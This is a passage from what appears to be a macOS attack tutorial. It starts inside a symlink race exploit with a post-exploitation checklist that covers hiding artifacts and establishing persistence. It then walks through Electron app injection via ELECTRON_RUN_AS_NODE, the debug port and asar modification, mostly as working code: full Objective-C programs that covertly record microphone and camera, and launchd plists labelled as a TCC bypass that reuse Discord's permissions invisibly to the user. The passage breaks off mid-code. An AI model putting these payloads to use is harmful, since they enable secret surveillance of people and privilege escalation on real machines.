    </span><span class="nb">ln</span> <span class="nt">-s</span> /etc/target /tmp/app.<span class="nv">$i</span> 2&gt;/dev/null
<span class="k">done</span>

<span class="c"># 2. Process creates temp file</span>
<span class="c"># Likely hits one of our symlinks</span>

<span class="c"># Alternative: Monitor creation and race</span>
inotifywait <span class="nt">-m</span> /tmp/ | <span class="k">while </span><span class="nb">read </span>event<span class="p">;</span> <span class="k">do
    if</span> <span class="o">[[</span> <span class="s2">"</span><span class="nv">$event</span><span class="s2">"</span> <span class="o">=</span>~ <span class="s2">"app</span><span class="se">\.</span><span class="s2">"</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
        <span class="c"># Immediately replace</span>
        <span class="nv">file</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$event</span><span class="s2">"</span> | <span class="nb">awk</span> <span class="s1">'{print $3}'</span><span class="si">)</span>
        <span class="nb">rm</span> <span class="s2">"/tmp/</span><span class="nv">$file</span><span class="s2">"</span>
        <span class="nb">ln</span> <span class="nt">-s</span> /etc/target <span class="s2">"/tmp/</span><span class="nv">$file</span><span class="s2">"</span>
    <span class="k">fi
done</span>
</code></pre></div></div>

<h3 id="exploitation-tips">Exploitation Tips</h3>

<p><strong>Pre-Exploitation:</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Identify root process writing to user space</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Determine file path predictability</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Check if process follows symlinks (<code class="language-plaintext highlighter-rouge">O_NOFOLLOW</code> flag absent)</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Verify directory permissions (user/group writable)</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Confirm no sticky bit protection</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Test if content is controllable</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Validate target location is writable by process</li>
</ul>

<p><strong>During Exploitation:</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Create symlink/hardlink to target</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Trigger vulnerable process</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Monitor file creation (if racing)</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Verify link persistence (not overwritten)</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Check final destination for payload</li>
</ul>

<p><strong>Post-Exploitation:</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Verify payload executed/loaded</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Clean up temporary files</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Remove detection artifacts</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Establish persistence if needed</li>
</ul>

<h1 id="electron-applications-code-injection">Electron Applications Code Injection</h1>

<h2 id="electron-framework-overview">Electron Framework Overview</h2>

<h3 id="what-is-electron">What is Electron?</h3>

<p><strong>Electron</strong> enables cross-platform desktop applications using JavaScript, HTML, and CSS. Developed by GitHub, it powers popular apps like Discord, Slack, Microsoft Teams, VS Code, and WhatsApp Desktop.</p>

<p><strong>Key Characteristics:</strong></p>
<ul>
  <li>Web technologies (JavaScript/HTML/CSS) running as native apps</li>
  <li>Built on Chromium and Node.js</li>
  <li>Fast development but large attack surface</li>
  <li>Insecure by default if not properly configured</li>
</ul>

<h3 id="security-model-weaknesses">Security Model Weaknesses</h3>

<table>
  <thead>
    <tr>
      <th>Issue</th>
      <th>Impact</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>JavaScript source code included</td>
      <td>Easy to modify/inject code</td>
    </tr>
    <tr>
      <td>Environment variable support</td>
      <td>Code execution via <code class="language-plaintext highlighter-rouge">ELECTRON_RUN_AS_NODE</code></td>
    </tr>
    <tr>
      <td>Debug port capabilities</td>
      <td>Remote code execution if enabled</td>
    </tr>
    <tr>
      <td>Signature verification timing</td>
      <td>Only verified at first launch by Gatekeeper</td>
    </tr>
    <tr>
      <td>Non-executable code modifications</td>
      <td>Can modify .asar files after first run</td>
    </tr>
  </tbody>
</table>

<p><strong>Why Injection Works:</strong></p>
<ul>
  <li>Hardened runtime prevents traditional dylib injection</li>
  <li>Code signature only checks executable code</li>
  <li>JavaScript files not considered executable</li>
  <li>Child processes inherit parent’s sandbox + TCC permissions</li>
</ul>

<h2 id="identifying-electron-applications">Identifying Electron Applications</h2>

<h3 id="method-1-check-for-appasar-file">Method 1: Check for app.asar File</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Electron apps contain app.asar in Resources/</span>
<span class="nb">ls</span> <span class="nt">-l</span> /Applications/Discord.app/Contents/Resources/app.asar
<span class="c"># -rw-r--r-- 1 user staff 854129 May 11 07:31 app.asar</span>
</code></pre></div></div>

<p><strong>Note:</strong> Not all Electron apps use .asar archives; some include unpacked source files.</p>

<h3 id="method-2-check-frameworks-directory">Method 2: Check Frameworks Directory</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ls</span> <span class="nt">-l</span> /Applications/Discord.app/Contents/Frameworks/
<span class="c"># Should contain:</span>
<span class="c"># - Electron Framework.framework</span>
<span class="c"># - Helper applications (GPU, Plugin, Renderer)</span>
</code></pre></div></div>

<h3 id="method-3-examine-code-signature">Method 3: Examine Code Signature</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>codesign <span class="nt">-dv</span> <span class="nt">--entitlements</span> :- /Applications/Discord.app

<span class="c"># Look for:</span>
<span class="c"># - Identifier pattern (e.g., com.hnc.Discord)</span>
<span class="c"># - Electron-specific entitlements</span>
<span class="c"># - Hardened runtime flag</span>
</code></pre></div></div>

<p><strong>Example Discord Signature:</strong></p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class="nt">&lt;plist</span> <span class="na">version=</span><span class="s">"1.0"</span><span class="nt">&gt;</span>
<span class="nt">&lt;dict&gt;</span>
  <span class="nt">&lt;key&gt;</span>com.apple.security.cs.allow-unsigned-executable-memory<span class="nt">&lt;/key&gt;</span>
  <span class="nt">&lt;true/&gt;</span>
  <span class="nt">&lt;key&gt;</span>com.apple.security.device.audio-input<span class="nt">&lt;/key&gt;</span>
  <span class="nt">&lt;true/&gt;</span>
  <span class="nt">&lt;key&gt;</span>com.apple.security.device.camera<span class="nt">&lt;/key&gt;</span>
  <span class="nt">&lt;true/&gt;</span>
<span class="nt">&lt;/dict&gt;</span>
<span class="nt">&lt;/plist&gt;</span>
</code></pre></div></div>

<h3 id="popular-electron-apps">Popular Electron Apps</h3>

<table>
  <thead>
    <tr>
      <th>Application</th>
      <th>Use Case</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Discord</td>
      <td>Social/Voice chat</td>
    </tr>
    <tr>
      <td>Slack</td>
      <td>Team communication</td>
    </tr>
    <tr>
      <td>Microsoft Teams</td>
      <td>Business communication</td>
    </tr>
    <tr>
      <td>VS Code</td>
      <td>Code editor</td>
    </tr>
    <tr>
      <td>WhatsApp Desktop</td>
      <td>Messaging</td>
    </tr>
    <tr>
      <td>Figma</td>
      <td>Design tool</td>
    </tr>
    <tr>
      <td>Notion</td>
      <td>Productivity</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="injection-method-1-environment-variables">Injection Method 1: Environment Variables</h2>

<h3 id="electron_run_as_node-variable">ELECTRON_RUN_AS_NODE Variable</h3>

<p>Setting <code class="language-plaintext highlighter-rouge">ELECTRON_RUN_AS_NODE=1</code> starts the app as a Node.js process with REPL access.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">ELECTRON_RUN_AS_NODE</span><span class="o">=</span>1 /Applications/Discord.app/Contents/MacOS/Discord

<span class="c"># Output:</span>
<span class="c"># Welcome to Node.js v12.14.1.</span>
<span class="c"># Type ".help" for more information.</span>
<span class="c"># &gt;</span>
</code></pre></div></div>

<h3 id="basic-repl-commands">Basic REPL Commands</h3>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;</span> <span class="mi">1</span><span class="o">+</span><span class="mi">1</span>
<span class="mi">2</span>

<span class="o">&gt;</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">test</span><span class="dl">'</span><span class="p">)</span>
<span class="nx">test</span>
<span class="kc">undefined</span>

<span class="o">&gt;</span> <span class="nx">process</span><span class="p">.</span><span class="nx">version</span>
<span class="dl">'</span><span class="s1">v12.14.1</span><span class="dl">'</span>

<span class="o">&gt;</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">os</span><span class="dl">'</span><span class="p">).</span><span class="nx">platform</span><span class="p">()</span>
<span class="dl">'</span><span class="s1">darwin</span><span class="dl">'</span>
</code></pre></div></div>

<h3 id="spawning-child-processes">Spawning Child Processes</h3>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Import child_process module</span>
<span class="o">&gt;</span> <span class="kd">const</span> <span class="p">{</span> <span class="nx">spawn</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">child_process</span><span class="dl">'</span><span class="p">);</span>
<span class="kc">undefined</span>

<span class="c1">// Execute command</span>
<span class="o">&gt;</span> <span class="nx">spawn</span><span class="p">(</span><span class="dl">"</span><span class="s2">/usr/bin/whoami</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">ChildProcess</span> <span class="p">{</span> <span class="p">...</span> <span class="p">}</span>
</code></pre></div></div>

<h3 id="audio-capture-payload">Audio Capture Payload</h3>

<p><strong>audiocapture.m:</strong></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;syslog.h&gt;</span><span class="cp">
#import &lt;AVFoundation/AVFoundation.h&gt;
</span>
<span class="err">@</span><span class="n">interface</span> <span class="n">AudioSnap</span> <span class="o">:</span> <span class="n">NSObject</span> <span class="o">&lt;</span><span class="n">AVCaptureFileOutputRecordingDelegate</span><span class="o">&gt;</span>
<span class="err">@</span><span class="n">property</span> <span class="p">(</span><span class="n">strong</span><span class="p">,</span> <span class="n">nonatomic</span><span class="p">)</span> <span class="n">AVCaptureAudioFileOutput</span> <span class="o">*</span><span class="n">audioFileOutput</span><span class="p">;</span>
<span class="err">@</span><span class="n">property</span> <span class="p">(</span><span class="n">strong</span><span class="p">,</span> <span class="n">nonatomic</span><span class="p">)</span> <span class="n">AVCaptureSession</span> <span class="o">*</span><span class="n">session</span><span class="p">;</span>
<span class="o">-</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">record</span><span class="p">;</span>
<span class="err">@</span><span class="n">end</span>

<span class="err">@</span><span class="n">implementation</span> <span class="n">AudioSnap</span>

<span class="o">-</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">record</span> <span class="p">{</span>
    <span class="c1">// Grab default device</span>
    <span class="n">AVCaptureDevice</span><span class="o">*</span> <span class="n">device</span> <span class="o">=</span> <span class="p">[</span><span class="n">AVCaptureDevice</span> <span class="n">defaultDeviceWithMediaType</span><span class="o">:</span><span class="n">AVMediaTypeAudio</span><span class="p">];</span>

    <span class="c1">// Init session and output</span>
    <span class="n">self</span><span class="p">.</span><span class="n">session</span> <span class="o">=</span> <span class="p">[[</span><span class="n">AVCaptureSession</span> <span class="n">alloc</span><span class="p">]</span> <span class="n">init</span><span class="p">];</span>

    <span class="c1">// Init audio input</span>
    <span class="n">AVCaptureDeviceInput</span> <span class="o">*</span><span class="n">input</span> <span class="o">=</span> <span class="p">[</span><span class="n">AVCaptureDeviceInput</span> <span class="n">deviceInputWithDevice</span><span class="o">:</span><span class="n">device</span> <span class="n">error</span><span class="o">:</span><span class="n">nil</span><span class="p">];</span>

    <span class="c1">// Init audio output</span>
    <span class="n">self</span><span class="p">.</span><span class="n">audioFileOutput</span> <span class="o">=</span> <span class="p">[[</span><span class="n">AVCaptureAudioFileOutput</span> <span class="n">alloc</span><span class="p">]</span> <span class="n">init</span><span class="p">];</span>

    <span class="c1">// Add input and output to session</span>
    <span class="p">[</span><span class="n">self</span><span class="p">.</span><span class="n">session</span> <span class="n">addInput</span><span class="o">:</span><span class="n">input</span><span class="p">];</span>
    <span class="p">[</span><span class="n">self</span><span class="p">.</span><span class="n">session</span> <span class="n">addOutput</span><span class="o">:</span><span class="n">self</span><span class="p">.</span><span class="n">audioFileOutput</span><span class="p">];</span>

    <span class="c1">// Start capture</span>
    <span class="p">[</span><span class="n">self</span><span class="p">.</span><span class="n">session</span> <span class="n">startRunning</span><span class="p">];</span>
    <span class="p">[</span><span class="n">self</span><span class="p">.</span><span class="n">audioFileOutput</span> <span class="n">startRecordingToOutputFileURL</span><span class="o">:</span><span class="p">[</span><span class="n">NSURL</span> <span class="n">fileURLWithPath</span><span class="o">:</span><span class="err">@</span><span class="s">"/tmp/recordmic.m4a"</span><span class="p">]</span>
                                        <span class="nl">outputFileType:</span><span class="n">AVFileTypeAppleM4A</span>
                                     <span class="nl">recordingDelegate:</span><span class="n">self</span><span class="p">];</span>

    <span class="c1">// Stop after 15 seconds</span>
    <span class="p">[</span><span class="n">NSTimer</span> <span class="n">scheduledTimerWithTimeInterval</span><span class="o">:</span><span class="mi">15</span> <span class="n">target</span><span class="o">:</span><span class="n">self</span> <span class="n">selector</span><span class="o">:</span><span class="err">@</span><span class="n">selector</span><span class="p">(</span><span class="n">stopRecording</span><span class="o">:</span><span class="p">)</span> <span class="n">userInfo</span><span class="o">:</span><span class="n">nil</span> <span class="n">repeats</span><span class="o">:</span><span class="n">NO</span><span class="p">];</span>
<span class="p">}</span>

<span class="o">-</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">stopRecording</span><span class="o">:</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">sigNum</span> <span class="p">{</span>
    <span class="p">[</span><span class="n">self</span><span class="p">.</span><span class="n">audioFileOutput</span> <span class="n">stopRecording</span><span class="p">];</span>
<span class="p">}</span>

<span class="o">-</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">captureOutput</span><span class="o">:</span><span class="p">(</span><span class="n">AVCaptureFileOutput</span> <span class="o">*</span><span class="p">)</span><span class="n">captureOutput</span>
<span class="n">didFinishRecordingToOutputFileAtURL</span><span class="o">:</span><span class="p">(</span><span class="n">NSURL</span> <span class="o">*</span><span class="p">)</span><span class="n">outputFileURL</span>
<span class="n">fromConnections</span><span class="o">:</span><span class="p">(</span><span class="n">NSArray</span> <span class="o">*</span><span class="p">)</span><span class="n">connections</span>
<span class="n">error</span><span class="o">:</span><span class="p">(</span><span class="n">NSError</span> <span class="o">*</span><span class="p">)</span><span class="n">error</span> <span class="p">{</span>
    <span class="p">[</span><span class="n">self</span><span class="p">.</span><span class="n">session</span> <span class="n">stopRunning</span><span class="p">];</span>
    <span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>

<span class="err">@</span><span class="n">end</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="n">AudioSnap</span><span class="o">*</span> <span class="n">as</span> <span class="o">=</span> <span class="p">[[</span><span class="n">AudioSnap</span> <span class="n">alloc</span><span class="p">]</span> <span class="n">init</span><span class="p">];</span>
    <span class="p">[</span><span class="n">as</span> <span class="n">record</span><span class="p">];</span>
    <span class="p">[[</span><span class="n">NSRunLoop</span> <span class="n">currentRunLoop</span><span class="p">]</span> <span class="n">run</span><span class="p">];</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>Compile:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc <span class="nt">-framework</span> Foundation <span class="nt">-framework</span> AVFoundation audiocapture.m <span class="nt">-o</span> audiocapture
</code></pre></div></div>

<h3 id="launchd-plist-for-proper-sandbox">LaunchD PLIST for Proper Sandbox</h3>

<p><strong>launchdiscord.plist:</strong></p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class="cp">&lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;</span>
<span class="nt">&lt;plist</span> <span class="na">version=</span><span class="s">"1.0"</span><span class="nt">&gt;</span>
<span class="nt">&lt;dict&gt;</span>
    <span class="nt">&lt;key&gt;</span>EnvironmentVariables<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;dict&gt;</span>
        <span class="nt">&lt;key&gt;</span>ELECTRON_RUN_AS_NODE<span class="nt">&lt;/key&gt;</span>
        <span class="nt">&lt;string&gt;</span>true<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;/dict&gt;</span>
    <span class="nt">&lt;key&gt;</span>Label<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;string&gt;</span>com.discord.tcc.bypass<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;key&gt;</span>ProgramArguments<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;array&gt;</span>
        <span class="nt">&lt;string&gt;</span>/Applications/Discord.app/Contents/MacOS/Discord<span class="nt">&lt;/string&gt;</span>
        <span class="nt">&lt;string&gt;</span>-e<span class="nt">&lt;/string&gt;</span>
        <span class="nt">&lt;string&gt;</span>const { spawn } = require("child_process"); spawn("/Users/user/audiocapture");<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;/array&gt;</span>
    <span class="nt">&lt;key&gt;</span>RunAtLoad<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;true/&gt;</span>
<span class="nt">&lt;/dict&gt;</span>
<span class="nt">&lt;/plist&gt;</span>
</code></pre></div></div>

<p><strong>Execute:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Load PLIST</span>
launchctl load launchdiscord.plist

<span class="c"># Verify recording created</span>
<span class="nb">ls</span> <span class="nt">-l</span> /tmp/recordmic.m4a

<span class="c"># Unload for re-execution</span>
launchctl unload launchdiscord.plist
</code></pre></div></div>

<p><strong>Why LaunchD?</strong></p>
<ul>
  <li>Avoids inheriting Terminal’s sandbox profile</li>
  <li>Uses Discord’s actual TCC permissions</li>
  <li>No user prompt if Discord already has camera/mic access</li>
  <li>Completely invisible to user</li>
</ul>

<hr />

<h2 id="injection-method-2-debug-port">Injection Method 2: Debug Port</h2>

<h3 id="starting-debug-mode">Starting Debug Mode</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Start with default port (9229)</span>
/Applications/Discord.app/Contents/MacOS/Discord <span class="nt">--inspect</span>

<span class="c"># Output:</span>
<span class="c"># Debugger listening on ws://127.0.0.1:9229/e9e50e1d-c33c-4334-8d72-c482d4e6d244</span>

<span class="c"># Start with custom port</span>
/Applications/Discord.app/Contents/MacOS/Discord <span class="nt">--inspect</span><span class="o">=</span>9230
</code></pre></div></div>

<h3 id="chrome-devtools-attachment">Chrome DevTools Attachment</h3>

<ol>
  <li>Open Chrome and navigate to <code class="language-plaintext highlighter-rouge">chrome://inspect</code></li>
  <li>Click “inspect” next to the target application</li>
  <li>Opens DevTools with Console access</li>
</ol>

<p><strong>Console Commands:</strong></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Same as Node.js REPL</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">spawn</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">child_process</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">spawn</span><span class="p">(</span><span class="dl">"</span><span class="s2">/Users/user/audiocapture</span><span class="dl">"</span><span class="p">);</span>
</code></pre></div></div>

<h3 id="launchd-plist-for-debug-mode">LaunchD PLIST for Debug Mode</h3>

<p><strong>launchdiscordinspect.plist:</strong></p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class="cp">&lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;</span>
<span class="nt">&lt;plist</span> <span class="na">version=</span><span class="s">"1.0"</span><span class="nt">&gt;</span>
<span class="nt">&lt;dict&gt;</span>
    <span class="nt">&lt;key&gt;</span>Label<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;string&gt;</span>com.discord.tcc.bypass.inspect<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;key&gt;</span>ProgramArguments<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;array&gt;</span>
        <span class="nt">&lt;string&gt;</span>/Applications/Discord.app/Contents/MacOS/Discord<span class="nt">&lt;/string&gt;</span>
        <span class="nt">&lt;string&gt;</span>--inspect<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;/array&gt;</span>
    <span class="nt">&lt;key&gt;</span>RunAtLoad<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;true/&gt;</span>
<span class="nt">&lt;/dict&gt;</span>
<span class="nt">&lt;/plist&gt;</span>
</code></pre></div></div>

<p><strong>Execute:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>launchctl load launchdiscordinspect.plist
<span class="c"># Navigate to chrome://inspect</span>
<span class="c"># Click "inspect"</span>
<span class="c"># Run payload in console</span>
</code></pre></div></div>

<h3 id="websocket-direct-connection">WebSocket Direct Connection</h3>

<p><strong>Advanced:</strong> Write custom tool to connect directly to debug WebSocket</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Pseudo-code for direct connection</span>
<span class="kd">const</span> <span class="nx">WebSocket</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">ws</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">ws</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WebSocket</span><span class="p">(</span><span class="dl">'</span><span class="s1">ws://127.0.0.1:9229/[uuid]</span><span class="dl">'</span><span class="p">);</span>

<span class="nx">ws</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">open</span><span class="dl">'</span><span class="p">,</span> <span class="kd">function</span> <span class="nx">open</span><span class="p">()</span> <span class="p">{</span>
  <span class="nx">ws</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">({</span>
    <span class="na">id</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
    <span class="na">method</span><span class="p">:</span> <span class="dl">'</span><span class="s1">Runtime.evaluate</span><span class="dl">'</span><span class="p">,</span>
    <span class="na">params</span><span class="p">:</span> <span class="p">{</span>
      <span class="na">expression</span><span class="p">:</span> <span class="dl">'</span><span class="s1">const { spawn } = require("child_process"); spawn("/Users/user/audiocapture");</span><span class="dl">'</span>
    <span class="p">}</span>
  <span class="p">}));</span>
<span class="p">});</span>
</code></pre></div></div>

<hr />

<h2 id="injection-method-3-source-code-modification">Injection Method 3: Source Code Modification</h2>

<h3 id="why-this-works">Why This Works</h3>

<p><strong>Gatekeeper Behavior:</strong></p>
<ul>
  <li>Full signature check only at <strong>first execution</strong></li>
  <li>Subsequent runs only verify <strong>executable code</strong> via AMFI</li>
  <li>JavaScript files are <strong>not executable code</strong></li>
  <li>.asar archives are <strong>not executable code</strong></li>
</ul>

<p><strong>Attack Window:</strong> After first legitimate launch, can modify non-executable files.</p>

<h3 id="extracting-appasar">Extracting app.asar</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Install asar tool</span>
npm <span class="nb">install </span>asar

<span class="c"># Create extraction directory</span>
<span class="nb">mkdir </span>unpack

<span class="c"># Extract archive</span>
npx asar extract /Applications/Discord.app/Contents/Resources/app.asar unpack

<span class="c"># Verify extraction</span>
<span class="nb">ls</span> <span class="nt">-lR</span> unpack/
</code></pre></div></div>

<h3 id="identifying-main-entry-point">Identifying Main Entry Point</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Check package.json for main file</span>
<span class="nb">cat </span>unpack/package.json

<span class="c"># Example output:</span>
<span class="c"># {</span>
<span class="c">#   "name": "discord",</span>
<span class="c">#   "main": "app_bootstrap/index.js",</span>
<span class="c">#   ...</span>
<span class="c"># }</span>
</code></pre></div></div>

<h3 id="video-capture-payload">Video Capture Payload</h3>

<p><strong>videocapture.m:</strong></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#import &lt;AVFoundation/AVFoundation.h&gt;
</span>
<span class="err">@</span><span class="n">interface</span> <span class="n">VideoSnap</span> <span class="o">:</span> <span class="n">NSObject</span> <span class="o">&lt;</span><span class="n">AVCaptureFileOutputRecordingDelegate</span><span class="o">&gt;</span>
<span class="err">@</span><span class="n">property</span> <span class="p">(</span><span class="n">strong</span><span class="p">,</span> <span class="n">nonatomic</span><span class="p">)</span> <span class="n">AVCaptureMovieFileOutput</span> <span class="o">*</span><span class="n">videoFileOutput</span><span class="p">;</span>
<span class="err">@</span><span class="n">property</span> <span class="p">(</span><span class="n">strong</span><span class="p">,</span> <span class="n">nonatomic</span><span class="p">)</span> <span class="n">AVCaptureSession</span> <span class="o">*</span><span class="n">session</span><span class="p">;</span>
<span class="o">-</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">record</span><span class="p">;</span>
<span class="err">@</span><span class="n">end</span>

<span class="err">@</span><span class="n">implementation</span> <span class="n">VideoSnap</span>

<span class="o">-</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">record</span> <span class="p">{</span>
    <span class="c1">// Grab video and audio devices</span>
    <span class="n">AVCaptureDevice</span> <span class="o">*</span><span class="n">videoDevice</span> <span class="o">=</span> <span class="p">[</span><span class="n">AVCaptureDevice</span> <span class="n">defaultDeviceWithMediaType</span><span class="o">:</span><span class="n">AVMediaTypeVideo</span><span class="p">];</span>
    <span class="n">AVCaptureDevice</span> <span class="o">*</span><span class="n">audioDevice</span> <span class="o">=</span> <span class="p">[</span><span class="n">AVCaptureDevice</span> <span class="n">defaultDeviceWithMediaType</span><span class="o">:</span><span class="n">AVMediaTypeAudio</span><span class="p">];</span>

    <span class="c1">// Init session</span>
    <span class="n">self</span><span class="p">.</span><span class="n">session</span> <span class="o">=</span> <span class="p">[[</span><span class="n">AVCaptureSession</span> <span class="n">alloc</span><span class="p">]</span> <span class="n">init</span><span class="p">];</span>

    <span class="c1">// Init inputs</span>
    <span class="n">AVCaptureDeviceInput</span> <span class="o">*</span><span class="n">videoInput</span> <span class="o">=</span> <span class="p">[</span><span class="n">AVCaptureDeviceInput</span> <span class="n">deviceInputWithDevice</span><span class="o">:</span><span class="n">videoDevice</span> <span class="n">error</span><span class="o">:</span><span class="n">nil</span><span class="p">];</span>
    <span class="n">AVCaptureDeviceInput</span> <span class="o">*</span><span class="n">audioInput</span> <span class="o">=</span> <span class="p">[</span><span class="n">AVCaptureDeviceInput</span> <span class="n">deviceInputWithDevice</span><span class="o">:</span><span class="n">audioDevice</span> <span class="n">error</span><span class="o">:</span><span class="n">nil</span><span class="p">];</span>

    <span class="c1">// Init output</span>
    <span class="n">self</span><span class="p">.</span><span class="n">videoFileOutput</span> <span class="o">=</span> <span class="p">[[</span><span class="n">AVCaptureMovieFileOutput</span> <span class="n">alloc</span><span class="p">]</span> <span class="n">init</span><span class="p">];</span>

    <span class="c1">// Add to session</span>
    <span class="p">[</span><span class="n">self</span><span class="p">.</span><span class="n">session</span> <span class="n">addInput</span><span class="o">:</span><span class="n">audioInput</span><span class="p">];</span>
    <span class="p">[</span><span class="n">self</span><span class="p">.</span><span class="n">session</span> <span class="n">addInput</span><span class="o">:</span><span class="n">videoInput</span><span class="p">];</span>
    <span class="p">[</span><span class="n">self</span><span class="p">.</span><span class="n">session</span> <span class="n">addOutput</span><span class="o">:</span><span class="n">self</span><span class="p">.</span><span class="n">videoFileOutput</span><span class="p">];</span>

    <span class="c1">// Start recording</span>
    <span class="p">[</span><span class="n">self</span><span class="p">.</span><span class="n">session</span> <span class="n">startRunning</span><span class="p">];</span>
    <span class="p">[</span><span class="n">self</span><span class="p">.</span><span class="n">videoFileOutput</span> <span class="n">startRecordingToOutputFileURL</span><span class="o">:</span><span class="p">[</span><span class="n">NSURL</span> <span class="n">fileURLWithPath</span><span class="o">:</span><span class="err">@</span><span class="s">"/tmp/spycam.mov"</span><span class="p">]</span>
                                      <span class="nl">recordingDelegate:</span><span class="n">self</span><span class="p">];</span>

    <span class="c1">// Stop after 15 seconds</span>
